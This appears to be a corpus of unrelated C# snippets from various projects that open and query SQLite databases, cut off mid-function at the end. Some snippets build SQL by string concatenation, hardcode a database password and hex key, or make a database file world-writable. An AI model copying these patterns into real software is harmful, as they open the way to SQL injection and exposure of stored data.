public void Initialise(string connectionString)
{
m_connectionString = connectionString;
m_log.Info("[ESTATE DB]: Sqlite - connecting: "+m_connectionString);
m_connection = new SqliteConnection(m_connectionString);
try
{
m_connection.Open();
}
catch (Exception ex)
{
throw new Exception("SQLite has errored out on opening the database. If you are on a 64 bit system, please run OpenSim.32BitLaunch.exe and try again. If this is not a 64 bit error :" + ex);
}
Assembly assem = GetType().Assembly;
Migration m = new Migration(m_connection, assem, "EstateStore");
m.Update();
//m_connection.Close();
// m_connection.Open();
Type t = typeof(EstateSettings);
m_Fields = t.GetFields(BindingFlags.NonPublic |
BindingFlags.Instance |
BindingFlags.DeclaredOnly);
foreach (FieldInfo f in m_Fields)
if (f.Name.Substring(0, 2) == "m_")
m_FieldMap[f.Name.Substring(2)] = f;
}
public void Initialise(string connectionString)
{
if (Util.IsWindows())
Util.LoadArchSpecificWindowsDll("sqlite3.dll");
m_connectionString = connectionString;
m_log.Info("[ESTATE DB]: Sqlite - connecting: "+m_connectionString);
m_connection = new SqliteConnection(m_connectionString);
m_connection.Open();
Migration m = new Migration(m_connection, Assembly, "EstateStore");
m.Update();
//m_connection.Close();
// m_connection.Open();
Type t = typeof(EstateSettings);
m_Fields = t.GetFields(BindingFlags.NonPublic |
BindingFlags.Instance |
BindingFlags.DeclaredOnly);
foreach (FieldInfo f in m_Fields)
if (f.Name.Substring(0, 2) == "m_")
m_FieldMap[f.Name.Substring(2)] = f;
}
/// <summary>
/// Добавя категория
/// </summary>
private void btnIN_Click(object sender, EventArgs e)
{
if ((cbTNCategoriesSub.SelectedValue == null)
|| cbTNCategoriesSub.SelectedValue.ToString().Equals(""))
{ return; }
if (dgvCatOUT.CurrentRow == null)
{ return; }
Int32 iCategoryID = Convert.ToInt32(dgvCatOUT.CurrentRow.Cells["gcCategoryID_OUT"].Value);
try
{
using (SqliteConnection sqlCnnctn = new SqliteConnection())
{
sqlCnnctn.ConnectionString = _ConnectionString;
sqlCnnctn.Open();
using (SqliteCommand sqlCmmnd = new SqliteCommand())
{
sqlCmmnd.Connection = sqlCnnctn;
sqlCmmnd.CommandText =
"UPDATE x_news_nweb " +
" SET nweb_category_id = " + cbTNCategoriesSub.SelectedValue.ToString() +
" WHERE news_category_id = " + iCategoryID.ToString();
sqlCmmnd.ExecuteNonQuery();
}
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
cbTNCategoriesSub_SelectedIndexChanged(null, null);
}
public void Initialise(string connectionString)
{
m_connectionString = connectionString;
m_log.Info("[ESTATE DB]: Sqlite - connecting: "+m_connectionString);
m_connection = new SqliteConnection(m_connectionString);
m_connection.Open();
Assembly assem = GetType().Assembly;
Migration m = new Migration(m_connection, assem, "EstateStore");
m.Update();
//m_connection.Close();
// m_connection.Open();
Type t = typeof(EstateSettings);
m_Fields = t.GetFields(BindingFlags.NonPublic |
BindingFlags.Instance |
BindingFlags.DeclaredOnly);
foreach (FieldInfo f in m_Fields)
if (f.Name.Substring(0, 2) == "m_")
m_FieldMap[f.Name.Substring(2)] = f;
}
public static SqliteConnection OpenConnection(string connectionString)
{
SqliteConnection connection = new SqliteConnection();
connection.ConnectionString = connectionString;
connection.Open();
return connection;
}
override public void Dispose()
{
if (m_conn != null)
{
m_conn.Close();
m_conn = null;
}
}
public QueryCache(SqliteConnection connection)
{
this.updateCommands = new MappingCommandDictionary();
this.insertCommands = new InsertCommandDictionary();
this.cachedCommands = new CommandDictionary();
this.Connection = connection;
}
public void CreateCrypted(string databaseFile)
{
try
{
// Check if database already exists
if (!File.Exists (databaseFile))
{
// Create the database
SqliteConnection.CreateFile (databaseFile);
// Connect to the database
// using (SqliteConnection sqlCon = GetConnection (String.Format ("Data Source = {0};", databaseFile),"haluk"))
using (SqliteConnection sqlCon = new SqliteConnection (String.Format ("Data Source = {0}", databaseFile)))
{
sqlCon.SetPassword("haluk");
sqlCon.Open ();
// Create a table
using (SqliteCommand sqlCom = new SqliteCommand (sqlCon))
{
sqlCom.CommandText = "CREATE TABLE Personel (ID INTEGER PRIMARY KEY, UserName VARCHAR(20), Password VARCHAR(20))";
//veri Ekleme
//Update
// sqlCom.CommandText = "UPDATE Customers SET FirstName= 'Haluk' WHERE LastName = @lastName";
// sqlCom.Parameters.Add(new SqliteParameter("@lastName","Haluky"));
sqlCom.ExecuteNonQuery ();
Console.WriteLine(sqlCom.ExecuteNonQuery());
}
//end using sqlCom
sqlCon.Close ();
}
//end using sqlCon
this.durumGostericiT.Text = "Database hazır!";
}else
{
this.durumGostericiT.Text = "Database Mevcut!";
}//end if else
} catch (Exception ex)
{
this.durumGostericiT.Text = String.Format ("Sqlite error: {0}", ex.Message);
}//end try catch
}
public static int Fill(string commandText, SqliteConnection connection, DataTable dataTable)
{
int res = 0;
using (SqliteCommand command = new SqliteCommand())
{
command.Connection = connection;
command.CommandText = commandText;
using (SqliteDataAdapter sqlDAdapter = new SqliteDataAdapter(command))
{
res = sqlDAdapter.Fill(dataTable);
}
}
return res;
}
/// <summary>
/// <list type="bullet">
/// <item>Initialises AssetData interface</item>
/// <item>Loads and initialises a new SQLite connection and maintains it.</item>
/// <item>use default URI if connect string is empty.</item>
/// </list>
/// </summary>
/// <param name="dbconnect">connect string</param>
override public void Initialise(string dbconnect)
{
if (dbconnect == string.Empty)
{
dbconnect = "URI=file:Asset.db,version=3";
}
m_conn = new SqliteConnection(dbconnect);
m_conn.Open();
Assembly assem = GetType().Assembly;
Migration m = new Migration(m_conn, assem, "AssetStore");
m.Update();
return;
}
protected IDataReader ExecuteReader(SqliteCommand cmd, SqliteConnection connection)
{
lock (connection)
{
//SqliteConnection newConnection =
// (SqliteConnection)((ICloneable)connection).Clone();
//newConnection.Open();
//cmd.Connection = newConnection;
cmd.Connection = connection;
//Console.WriteLine("XXX " + cmd.CommandText);
return cmd.ExecuteReader();
}
}
public void Initialise(string connectionString)
{
if (Util.IsWindows())
Util.LoadArchSpecificWindowsDll("sqlite3.dll");
m_connectionString = connectionString;
m_log.Info("[PROFILES_DATA]: Sqlite - connecting: "+m_connectionString);
m_connection = new SqliteConnection(m_connectionString);
m_connection.Open();
Migration m = new Migration(m_connection, Assembly, "UserProfiles");
m.Update();
}
private static void AssertConnectionOpens(string connectionString, string expectedPath)
{
if (File.Exists(expectedPath))
{
File.Delete(expectedPath);
}
using (var connection = new SqliteConnection(connectionString))
{
connection.Open();
Assert.Equal(expectedPath, connection.DataSource);
}
Assert.True(File.Exists(expectedPath));
}
public SQLiteAuthenticationData(string connectionString, string realm)
: base(connectionString)
{
m_Realm = realm;
if (!m_initialized)
{
m_Connection = new SqliteConnection(connectionString);
m_Connection.Open();
Migration m = new Migration(m_Connection, Assembly, "AuthStore");
m.Update();
m_initialized = true;
}
}
public void LoadNews()
{
try
{
using (SqliteConnection sqlCnnctn = new SqliteConnection())
{
sqlCnnctn.ConnectionString = _ConnectionString;
sqlCnnctn.Open();
//
using (SqliteCommand sqlCmmndNews = new SqliteCommand())
{
using (SqliteCommand sqlCmmndEncl = new SqliteCommand())
{
sqlCmmndNews.Connection = sqlCnnctn;
sqlCmmndEncl.Connection = sqlCnnctn;
// сваля и зарежда новините
foreach (NewsSource ns in _PNews.NSource)
{
try
{
OnLog(LogMessageType.Event, ns.Title);
//
LoadNewsRSS(sqlCmmndNews, sqlCmmndEncl, ns);
//
OnLog(LogMessageType.Event, _PNews.WSaitID.ToString() + _Msg3_NewsChargedHandle);
TmpNewsRepair(sqlCmmndNews);
//
OnLog(LogMessageType.Event, _PNews.WSaitID.ToString() + _Msg4_LoadingNews);
TmpNewsTransfer(sqlCmmndNews, sqlCmmndEncl);
//
OnLog(LogMessageType.Event, _PNews.WSaitID.ToString() + _Msg5_Done);
}
catch (Exception ex)
{
OnLog(LogMessageType.Error, "Exception /Load:" + ns.URL + "/: " + ex.Message);
}
}
}
}
}
}
catch (Exception ex)
{
OnLog(LogMessageType.Error, "Exception: " + ex.Message);
}
}
//////////////////////////////////////////////////////////////
//
// All non queries are funneled through one connection
// to increase performance a little
//
protected int ExecuteNonQuery(SqliteCommand cmd, SqliteConnection connection)
{
lock (connection)
{
/*
SqliteConnection newConnection =
(SqliteConnection)((ICloneable)connection).Clone();
newConnection.Open();
cmd.Connection = newConnection;
*/
cmd.Connection = connection;
//Console.WriteLine("XXX " + cmd.CommandText);
return cmd.ExecuteNonQuery();
}
}
static partial void OnLoad()
{
if (_isLoaded)
{
// prevent re-entrant calls
return;
}
_isLoaded = true;
if (ApplicationDataHelper.TemporaryFolderPath != null)
{
using (var connection = new SqliteConnection("Data Source=:memory:"))
{
connection.Open();
connection.ExecuteNonQuery("PRAGMA temp_store_directory = '" + ApplicationDataHelper.TemporaryFolderPath + "';");
}
}
}
/// <summary>
/// <list type="bullet">
/// <item>Initialises Inventory interface</item>
/// <item>Loads and initialises a new SQLite connection and maintains it.</item>
/// <item>use default URI if connect string string is empty.</item>
/// </list>
/// </summary>
/// <param name="dbconnect">connect string</param>
public void Initialise(string dbconnect)
{
if (!m_Initialized)
{
m_Initialized = true;
if (dbconnect == string.Empty)
{
dbconnect = "URI=file:inventoryStore.db,version=3";
}
m_log.Info("[INVENTORY DB]: Sqlite - connecting: " + dbconnect);
conn = new SqliteConnection(dbconnect);
conn.Open();
Assembly assem = GetType().Assembly;
Migration m = new Migration(conn, assem, "InventoryStore");
m.Update();
SqliteCommand itemsSelectCmd = new SqliteCommand(invItemsSelect, conn);
invItemsDa = new SqliteDataAdapter(itemsSelectCmd);
// SqliteCommandBuilder primCb = new SqliteCommandBuilder(primDa);
SqliteCommand foldersSelectCmd = new SqliteCommand(invFoldersSelect, conn);
invFoldersDa = new SqliteDataAdapter(foldersSelectCmd);
ds = new DataSet();
ds.Tables.Add(createInventoryFoldersTable());
invFoldersDa.Fill(ds.Tables["inventoryfolders"]);
setupFoldersCommands(invFoldersDa, conn);
CreateDataSetMapping(invFoldersDa, "inventoryfolders");
m_log.Info("[INVENTORY DB]: Populated Inventory Folders Definitions");
ds.Tables.Add(createInventoryItemsTable());
invItemsDa.Fill(ds.Tables["inventoryitems"]);
setupItemsCommands(invItemsDa, conn);
CreateDataSetMapping(invItemsDa, "inventoryitems");
m_log.Info("[INVENTORY DB]: Populated Inventory Items Definitions");
ds.AcceptChanges();
}
}
public SQLiteAuthenticationData(string connectionString, string realm)
: base(connectionString)
{
m_Realm = realm;
if (!m_initialized)
{
if (Util.IsWindows())
Util.LoadArchSpecificWindowsDll("sqlite3.dll");
m_Connection = new SqliteConnection(connectionString);
m_Connection.Open();
Migration m = new Migration(m_Connection, Assembly, "AuthStore");
m.Update();
m_initialized = true;
}
}
internal SQLiteConnectionWrapper CreateConnectionWrapper()
{
SQLiteConnectionWrapper wrapper = null;
if (IsPersistentConnection)
{
if (null == _connection)
{
_connection = CreateNewConnection();
}
wrapper = new PersistentSQLiteConnectionWrapper( _connection );
}
else
{
_connection = CreateNewConnection();
wrapper = new TransientSQLiteConnectionWrapper( _connection );
}
return wrapper;
}
/// <summary>
/// Изтрива невалидни записи
/// </summary>
private void btnDeleteInvalidEntries_Click(object sender, EventArgs e)
{
try
{
listBox1.Items.Clear();
SetMessage("Старт: Изтрива невалидни записи");
using (SqliteConnection sqlCnnctn = new SqliteConnection())
{
sqlCnnctn.ConnectionString = _ConnectionString;
sqlCnnctn.Open();
using (SqliteCommand sqlCmmnd = new SqliteCommand())
{
sqlCmmnd.Connection = sqlCnnctn;
// Новини без картинки
sqlCmmnd.CommandText =
"DELETE FROM news " +
" WHERE news_id NOT IN (SELECT DISTINCT news_id FROM enclosure ) ";
Int32 iRows = sqlCmmnd.ExecuteNonQuery();
SetMessage("Изтити новини без картинки: " + iRows.ToString());
// Картинки без новини
sqlCmmnd.CommandText =
"DELETE FROM enclosure " +
" WHERE news_id NOT IN (SELECT news_id FROM news) ";
iRows = sqlCmmnd.ExecuteNonQuery();
SetMessage("Изтити картинки без новини: " + iRows.ToString());
}
sqlCnnctn.Close();
}
SetMessage("Край");
}
catch (Exception ex)
{
SetMessage(ex.Message);
}
}
private void btn_Save_Click(object sender, EventArgs e)
{
try
{
using (SqliteConnection sqlCnnctn = new SqliteConnection())
{
sqlCnnctn.ConnectionString = _ConnectionString;
sqlCnnctn.Open();
using (SqliteCommand sqlCmmnd = new SqliteCommand())
{
sqlCmmnd.Connection = sqlCnnctn;
sqlCmmnd.CommandText =
"UPDATE t_news_category " +
" SET n_dscr = @n_dscr " +
" WHERE news_category_id = " + _CatID.ToString();
sqlCmmnd.Parameters.Add("@n_dscr", DbType.String).Value = tbx_NDscr.Text.Trim();
using (SqliteDataReader sqlDReader = sqlCmmnd.ExecuteReader())
{
if (sqlDReader.HasRows && sqlDReader.Read())
{
lbl_NCategory.Text = sqlDReader["news_category"].ToString();
lbl_NSource.Text = sqlDReader["n_source"].ToString();
tbx_NDscr.Text = sqlDReader["n_dscr"].ToString();
}
sqlDReader.Close();
}
}
sqlCnnctn.Close();
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
return;
}
Close();
}
public void Transactions_do_not_throw()
{
var path = Path.Combine(ApplicationData.Current.LocalFolder.Path, "test.db");
if (File.Exists(path))
{
File.Delete(path);
}
using (var connection = new SqliteConnection("Filename=" + path))
{
connection.Open();
using (var command = connection.CreateCommand())
{
command.CommandText = @"
DROP TABLE IF EXISTS table1;
CREATE TABLE table1(Id INTEGER PRIMARY KEY, Value INT);
INSERT INTO table1 (Value) VALUES ('transaction test');
BEGIN; -- <<< throws if temp dir not set correctly
INSERT INTO table1 (Value) VALUES ('value 2');
CREATE TABLE temp_table2 ( Id INT, Value TEXT);
INSERT INTO temp_table2 SELECT * FROM table1;";
command.ExecuteNonQuery();
command.CommandText = "SELECT count(*) from temp_table2;";
Assert.Equal(2L, command.ExecuteScalar());
command.CommandText = "ROLLBACK;";
command.ExecuteNonQuery();
command.CommandText = "SELECT count(*) FROM table1;";
Assert.Equal(1L, command.ExecuteScalar());
}
}
}
public UserRepository()
{
IDataRepository dataRepo = new DataRepository();
connection = dataRepo.GetDBConnection();
}
// Issue 76 Encryption is not implemented in C#SQLite client connection and command objects
public void Issue_76()
{
Console.WriteLine("Test for Issue_76 Start.");
Console.WriteLine("Create connection...");
SqliteConnection con = new SqliteConnection();
string dbFilename = @"SqliteTest3.db";
string cs = string.Format("Version=3,uri=file:{0}", dbFilename);
Console.WriteLine("Set connection String: {0}", cs);
if (File.Exists(dbFilename))
{
File.Delete(dbFilename);
}
con.ConnectionString = cs;
Console.WriteLine("Open database...");
con.Open();
Console.WriteLine("create command...");
IDbCommand cmd = con.CreateCommand();
cmd.CommandText = "pragma hexkey='0x73656372657470617373776F72640f11'";
Console.WriteLine(cmd.CommandText);
cmd.ExecuteNonQuery();
cmd.CommandText = "create table a (b); insert into a values ('row 1');select * from a;";
Console.WriteLine(cmd.CommandText);
Console.WriteLine("Result {0}", cmd.ExecuteScalar());
Console.WriteLine("Close & Reopen Connection");
con.Close();
con.Open();
cmd.CommandText = "select * from a;";
Console.WriteLine(cmd.CommandText);
Console.WriteLine("Result {0}", cmd.ExecuteScalar());
Console.WriteLine("Close & Reopen Connection");
con.Close();
con.Open();
cmd.CommandText = "pragma hexkey='0x73656372657470617373776F72640f11'";
Console.WriteLine(cmd.CommandText);
cmd.ExecuteNonQuery();
cmd.CommandText = "select * from a;";
Console.WriteLine(cmd.CommandText);
Console.WriteLine("Result {0}", cmd.ExecuteScalar());
Console.WriteLine("Close & Reopen Connection with password");
con.Close();
con.ConnectionString = cs + ",Password=0x73656372657470617373776F72640f11";
con.Open();
cmd.CommandText = "select * from a;";
Console.WriteLine(cmd.CommandText);
Console.WriteLine("Result {0}", cmd.ExecuteScalar());
con = null;
Console.WriteLine("Issue_76 Done.");
}
internal void SetConnection (DbConnection conn)
{
_connection = (SqliteConnection)conn;
}
protected BaseWebApplicationFactory()
{
_connection = new SqliteConnection(_connectionString);
_connection.Open();
}
public static IServiceProvider BuildServiceProvider(Action <IServiceCollection> configure = null,
DatabaseEngine database = DatabaseEngine.InMemory, SqliteConnection connection = null)
{
var services = new ServiceCollection();
services.AddLogging();
services.AddLocalization();
services.AddNullLocalization();
services.AddResources();
services.AddEFCore <ProjectNameDbContext>();
services.AddEFSecondLevelCache();
services.AddSingleton(typeof(ICacheManager <>), typeof(BaseCacheManager <>));
services.AddSingleton(typeof(ICacheManagerConfiguration),
new ConfigurationBuilder()
.WithJsonSerializer()
.WithMicrosoftMemoryCacheHandle()
.WithExpiration(ExpirationMode.Absolute, TimeSpan.FromMinutes(10))
.Build());
switch (database)
{
case DatabaseEngine.SQLite:
services.AddEntityFrameworkSqlite()
.AddDbContext <ProjectNameDbContext>(builder =>
builder.UseSqlite(connection ?? throw new ArgumentNullException(nameof(connection))));
break;
case DatabaseEngine.InMemory:
services.AddEntityFrameworkInMemoryDatabase()
.AddDbContext <ProjectNameDbContext>(builder => builder.UseInMemoryDatabase("SharedDatabaseName"));
break;
default:
throw new ArgumentOutOfRangeException(nameof(database), database, null);
}
configure?.Invoke(services);
var provider = services.BuildServiceProvider();
provider.RunScoped <ProjectNameDbContext>(context =>
{
context.Database.EnsureDeleted();
context.Database.EnsureCreated();
});
return(provider);
}
/// <summary>
/// Ensure that the databse exists and has the proper schema
/// </summary>
/// <param name="type">Schema type to use</param>
/// <param name="db">Name of the databse</param>
/// <param name="connectionString">Connection string for SQLite</param>
public static void EnsureDatabase(string type, string db, string connectionString)
{
// Set the type to lowercase
type = type.ToLowerInvariant();
// Make sure the file exists
if (!File.Exists(db))
{
SqliteConnection.CreateFile(db);
}
// Open the database connection
SqliteConnection dbc = new SqliteConnection(connectionString);
dbc.Open();
// Make sure the database has the correct schema
try
{
if (type == "rombasharp")
{
string query = @"
CREATE TABLE IF NOT EXISTS crc (
'crc' TEXT NOT NULL,
PRIMARY KEY (crc)
)";
SqliteCommand slc = new SqliteCommand(query, dbc);
slc.ExecuteNonQuery();
query = @"
CREATE TABLE IF NOT EXISTS md5 (
'md5' TEXT NOT NULL,
PRIMARY KEY (md5)
)";
slc = new SqliteCommand(query, dbc);
slc.ExecuteNonQuery();
query = @"
CREATE TABLE IF NOT EXISTS sha1 (
'sha1' TEXT NOT NULL,
'depot' TEXT,
PRIMARY KEY (sha1)
)";
slc = new SqliteCommand(query, dbc);
slc.ExecuteNonQuery();
query = @"
CREATE TABLE IF NOT EXISTS crcsha1 (
'crc' TEXT NOT NULL,
'sha1' TEXT NOT NULL,
PRIMARY KEY (crc, sha1)
)";
slc = new SqliteCommand(query, dbc);
slc.ExecuteNonQuery();
query = @"
CREATE TABLE IF NOT EXISTS md5sha1 (
'md5' TEXT NOT NULL,
'sha1' TEXT NOT NULL,
PRIMARY KEY (md5, sha1)
)";
slc = new SqliteCommand(query, dbc);
slc.ExecuteNonQuery();
query = @"
CREATE TABLE IF NOT EXISTS dat (
'hash' TEXT NOT NULL,
PRIMARY KEY (hash)
)";
slc = new SqliteCommand(query, dbc);
slc.ExecuteNonQuery();
slc.Dispose();
}
else if (type == "headerer")
{
string query = @"
CREATE TABLE IF NOT EXISTS data (
'sha1' TEXT NOT NULL,
'header' TEXT NOT NULL,
'type' TEXT NOT NULL,
PRIMARY KEY (sha1, header, type)
)";
SqliteCommand slc = new SqliteCommand(query, dbc);
slc.ExecuteNonQuery();
slc.Dispose();
}
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
finally
{
dbc.Dispose();
}
}
public static T ExecuteScalar <T>(
this SqliteConnection connection,
string commandText,
params SqliteParameter[] parameters)
=> (T)connection.ExecuteScalar(commandText, parameters);
public static bool LoadFromDB(ref List <List <List <object> > > results,
string completeQuery, string dataSource)
{
SqliteConnection con = new SqliteConnection();
con.ConnectionString = dataSource;
try { con.Open(); }
catch (Exception ex)
{
MakeLogErrorStatic(typeof(DBReader), ex);
if (con.State.ToString() == "Open")
{
con.Close();
con.Dispose();
}
return(false);
}
// security check and close connection if necessary
if (!DBSecurity.IsSecureSQLCommand(completeQuery))
{
MakeLogWarningStatic(typeof(DBReader),
"LoadFromDB: Prevented forwarding of insecure sql-command: "
+ completeQuery);
return(false);
}
using (SQLiteCommand cmd = new SQLiteCommand(completeQuery, con))
{
SQLiteDataReader rdr = null;
try
{
rdr = cmd.ExecuteReader();
if (rdr == null)
{
return(false);
}
if (!rdr.HasRows)
{
return(true);
}
// temporary array to put all data of a row into
object[] rowArr = null;
do
{
// add new result-list
results.Add(new List <List <object> >());
while (rdr.Read())
{
// create and fill array of the temporary data row
rowArr = new object[rdr.FieldCount];
rdr.GetValues(rowArr);
results[results.Count - 1].Add(new List <object>(rowArr));
}
}while (rdr.NextResult());
}
catch (Exception ex)
{
throw new Exception("LoadFromDB: Could not execute SQLiteDataReader: " + ex);
}
finally
{
if (rdr != null)
{
rdr.Close();
rdr.Dispose();
}
}
}
// close connection if still opened
if (con.State.ToString() == "Open")
{
con.Close();
con.Dispose();
}
// everything went through without errors thrown
return(true);
}
public ConfigModel(SqliteConnection con) : base(con)
{
}
public async Task <IList <CloudProvider> > DetectAsync()
{
try
{
// Google Drive's sync database can be in a couple different locations. Go find it.
string appDataPath = UserDataPaths.GetDefault().LocalAppData;
string dbPath = @"Google\DriveFS\root_preference_sqlite.db";
var configFile = await StorageFile.GetFileFromPathAsync(Path.Combine(appDataPath, dbPath));
await configFile.CopyAsync(ApplicationData.Current.TemporaryFolder, "google_drive.db", NameCollisionOption.ReplaceExisting);
var syncDbPath = Path.Combine(ApplicationData.Current.TemporaryFolder.Path, "google_drive.db");
// Build the connection and sql command
SQLitePCL.Batteries_V2.Init();
using (var con = new SqliteConnection($"Data Source='{syncDbPath}'"))
using (var cmd = new SqliteCommand("select * from roots", con))
{
// Open the connection and execute the command
con.Open();
var reader = cmd.ExecuteReader();
var results = new List <CloudProvider>();
while (reader.Read())
{
// Extract the data from the reader
string path = reader["last_seen_absolute_path"]?.ToString();
if (string.IsNullOrWhiteSpace(path))
{
return(Array.Empty <CloudProvider>());
}
// By default, the path will be prefixed with "\\?\" (unless another app has explicitly changed it).
// \\?\ indicates to Win32 that the filename may be longer than MAX_PATH (see MSDN).
// Parts of .NET (e.g. the File class) don't handle this very well, so remove this prefix.
if (path.StartsWith(@"\\?\"))
{
path = path.Substring(@"\\?\".Length);
}
var folder = await StorageFolder.GetFolderFromPathAsync(path);
var googleCloud = new CloudProvider()
{
ID = CloudProviders.GoogleDrive,
SyncFolder = path
};
string title = reader["title"]?.ToString() ?? folder.Name;
googleCloud.Name = $"Google Drive ({title})";
results.Add(googleCloud);
}
return(results);
}
}
catch
{
// Not detected
return(Array.Empty <CloudProvider>());
}
}
public IActionResult OnGet(int?Id)
{
Mod = new Module();
Mod.ModuleYear = new List <bool> {
false, false, false, false
}; //we set the checkboxes as false first
var connectionStringBuilder = new SqliteConnectionStringBuilder();
DBConnection DBCon = new DBConnection(); // your own class and method in DatabaseConnection folder
string dbStringConnection = DBCon.DbString();
connectionStringBuilder.DataSource = dbStringConnection;
var connection = new SqliteConnection(connectionStringBuilder.ConnectionString);
connection.Open();
var command = connection.CreateCommand();
command.CommandText = "SELECT* FROM Module WHERE Id = @ID";
command.Parameters.AddWithValue("@ID", Id);
var reader = command.ExecuteReader();
while (reader.Read())
{
Mod.ModuleCode = reader.GetString(1);
Mod.ModuleName = reader.GetString(2);
Mod.ModuleLevel = reader.GetInt32(3);
Mod.Year = reader.GetString(4);
Mod.Course = reader.GetString(5);
Mod.ModuleOfferStatus = reader.GetString(6);
}
//Getting Year from string to array format
string[] year = Mod.Year.Split(","); //this variable is string from database. Split the string into an array
//Getting Course from string to array format
string[] course = Mod.Course.Split(","); //this variable is string from database. Split the string into an array
Console.WriteLine("Len " + year.Length);
//each year item indicates the index of the checkbox
for (int i = 0; i < year.Length - 1; i++) //ignore the last element = 1,2,3,
{
int index = Int32.Parse(year[i]); //getting the year which represent the position of checkbox
Console.WriteLine(index);
Mod.ModuleYear.Insert((index - 1), true); //set the checkbox list as true for the index (module year)
}
//reading the course from the list
for (int i = 0; i < Course.Count(); i++)
{
for (int j = 0; j < course.Length; j++) //reading the course from the table
{
if (course[j] == Course[i].Value) //if the same course found from the table
{
Course[i].Selected = true; //set the item as true (selected) if the item is found from Db
}
}
}
return(Page());
}
public static bool Setup()
{
if (Connection == null)
{
Connection = new SqliteConnection($"Filename=" + _SqliteFilename);
Connection.Open();
if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux) || RuntimeInformation.IsOSPlatform(OSPlatform.OSX))
{
var unixFileInfo = new UnixFileInfo(_SqliteFilename);
// set file permission to 666
unixFileInfo.FileAccessPermissions =
FileAccessPermissions.UserRead | FileAccessPermissions.UserWrite
| FileAccessPermissions.GroupRead | FileAccessPermissions.GroupWrite
| FileAccessPermissions.OtherRead | FileAccessPermissions.OtherWrite;
}
using (var cmd = new SqliteCommand(SQL_CREATE_RUNS, DatabaseManager.Connection, DatabaseManager.Transaction))
{
cmd.ExecuteNonQuery();
cmd.CommandText = PRAGMAS;
cmd.ExecuteNonQuery();
cmd.CommandText = SQL_CREATE_COLLECT_RESULTS;
cmd.ExecuteNonQuery();
cmd.CommandText = SQL_CREATE_COLLECT_ROW_KEY_INDEX;
cmd.ExecuteNonQuery();
cmd.CommandText = SQL_CREATE_COLLECT_RUN_ID_INDEX;
cmd.ExecuteNonQuery();
cmd.CommandText = SQL_CREATE_COLLECT_RESULT_TYPE_INDEX;
cmd.ExecuteNonQuery();
cmd.CommandText = SQL_CREATE_COLLECT_RUN_KEY_COMBINED_INDEX;
cmd.ExecuteNonQuery();
cmd.CommandText = SQL_CREATE_COLLECT_RUN_TYPE_COMBINED_INDEX;
cmd.ExecuteNonQuery();
cmd.CommandText = SQL_CREATE_COLLECT_KEY_IDENTITY_COMBINED_INDEX;
cmd.ExecuteNonQuery();
cmd.CommandText = SQL_CREATE_RESULTS;
cmd.ExecuteNonQuery();
cmd.CommandText = SQL_CREATE_FINDINGS_RESULTS;
cmd.ExecuteNonQuery();
cmd.CommandText = SQL_CREATE_FINDINGS_LEVEL_INDEX;
cmd.ExecuteNonQuery();
cmd.CommandText = SQL_CREATE_FINDINGS_RESULT_TYPE_INDEX;
cmd.ExecuteNonQuery();
cmd.CommandText = SQL_CREATE_FINDINGS_IDENTITY_INDEX;
cmd.ExecuteNonQuery();
cmd.CommandText = SQL_CREATE_FINDINGS_LEVEL_RESULT_TYPE_INDEX;
cmd.ExecuteNonQuery();
cmd.CommandText = SQL_CREATE_FILE_MONITORED;
cmd.ExecuteNonQuery();
cmd.CommandText = SQL_CREATE_PERSISTED_SETTINGS;
cmd.ExecuteNonQuery();
cmd.CommandText = SQL_CREATE_DEFAULT_SETTINGS;
cmd.Parameters.AddWithValue("@schema_version", SCHEMA_VERSION);
_firstRun &= cmd.ExecuteNonQuery() != 0;
}
Commit();
return(true);
}
return(false);
}
public static void CloseDatabase()
{
_transaction.Commit();
Connection.Close();
Connection = null;
}
public void Test3()
{
Console.WriteLine("Test3 (Date Paramaters) Start.");
Console.WriteLine("Create connection...");
SqliteConnection con = new SqliteConnection();
string dbFilename = @"SqliteTest3.db";
string cs = string.Format("Version=3,uri=file:{0}", dbFilename);
Console.WriteLine("Set connection String: {0}", cs);
if (File.Exists(dbFilename))
{
File.Delete(dbFilename);
}
con.ConnectionString = cs;
Console.WriteLine("Open database...");
con.Open();
Console.WriteLine("create command...");
IDbCommand cmd = con.CreateCommand();
Console.WriteLine("create table TEST_TABLE...");
cmd.CommandText = "CREATE TABLE TBL ( ID NUMBER, DATE_TEXT REAL)";
cmd.ExecuteNonQuery();
Console.WriteLine("insert ...");
cmd.CommandText = "INSERT INTO TBL ( ID, DATE_TEXT) VALUES ( 1, @DATETEXT)";
cmd.Parameters.Add(
new SqliteParameter
{
ParameterName = "@DATETEXT",
Value = DateTime.Now
}
);
cmd.ExecuteNonQuery();
Console.WriteLine("SELECT data from TBL...");
cmd.CommandText = "SELECT * FROM tbl";
IDataReader reader = cmd.ExecuteReader();
int r = 0;
Console.WriteLine("Read the data...");
while (reader.Read())
{
Console.WriteLine(" Row: {0}", r);
int i = reader.GetInt32(reader.GetOrdinal("ID"));
Console.WriteLine(" ID: {0}", i);
string s = reader.GetString(reader.GetOrdinal("DATE_TEXT"));
Console.WriteLine(" DATE_TEXT: {0}", s);
r++;
}
Console.WriteLine("Rows retrieved: {0}", r);
Console.WriteLine("Close and cleanup...");
con.Close();
con = null;
Console.WriteLine("Test3 Done.");
}
public void Sync(IPhysicalPersonAttachmentService PhysicalPersonAttachmentService, Action <int, int> callback = null)
{
try
{
SyncPhysicalPersonAttachmentRequest request = new SyncPhysicalPersonAttachmentRequest();
request.CompanyId = MainWindow.CurrentCompanyId;
request.LastUpdatedAt = GetLastUpdatedAt(MainWindow.CurrentCompanyId);
int toSync = 0;
int syncedItems = 0;
PhysicalPersonAttachmentListResponse response = PhysicalPersonAttachmentService.Sync(request);
if (response.Success)
{
toSync = response?.PhysicalPersonAttachments?.Count ?? 0;
List <PhysicalPersonAttachmentViewModel> PhysicalPersonsFromDB = response.PhysicalPersonAttachments;
using (SqliteConnection db = new SqliteConnection(SQLiteHelper.SqLiteTableName))
{
db.Open();
using (var transaction = db.BeginTransaction())
{
SqliteCommand deleteCommand = db.CreateCommand();
deleteCommand.CommandText = "DELETE FROM PhysicalPersonAttachments WHERE Identifier = @Identifier";
SqliteCommand insertCommand = db.CreateCommand();
insertCommand.CommandText = SqlCommandInsertPart;
foreach (var PhysicalPerson in PhysicalPersonsFromDB)
{
deleteCommand.Parameters.AddWithValue("@Identifier", PhysicalPerson.Identifier);
deleteCommand.ExecuteNonQuery();
deleteCommand.Parameters.Clear();
if (PhysicalPerson.IsActive)
{
PhysicalPerson.IsSynced = true;
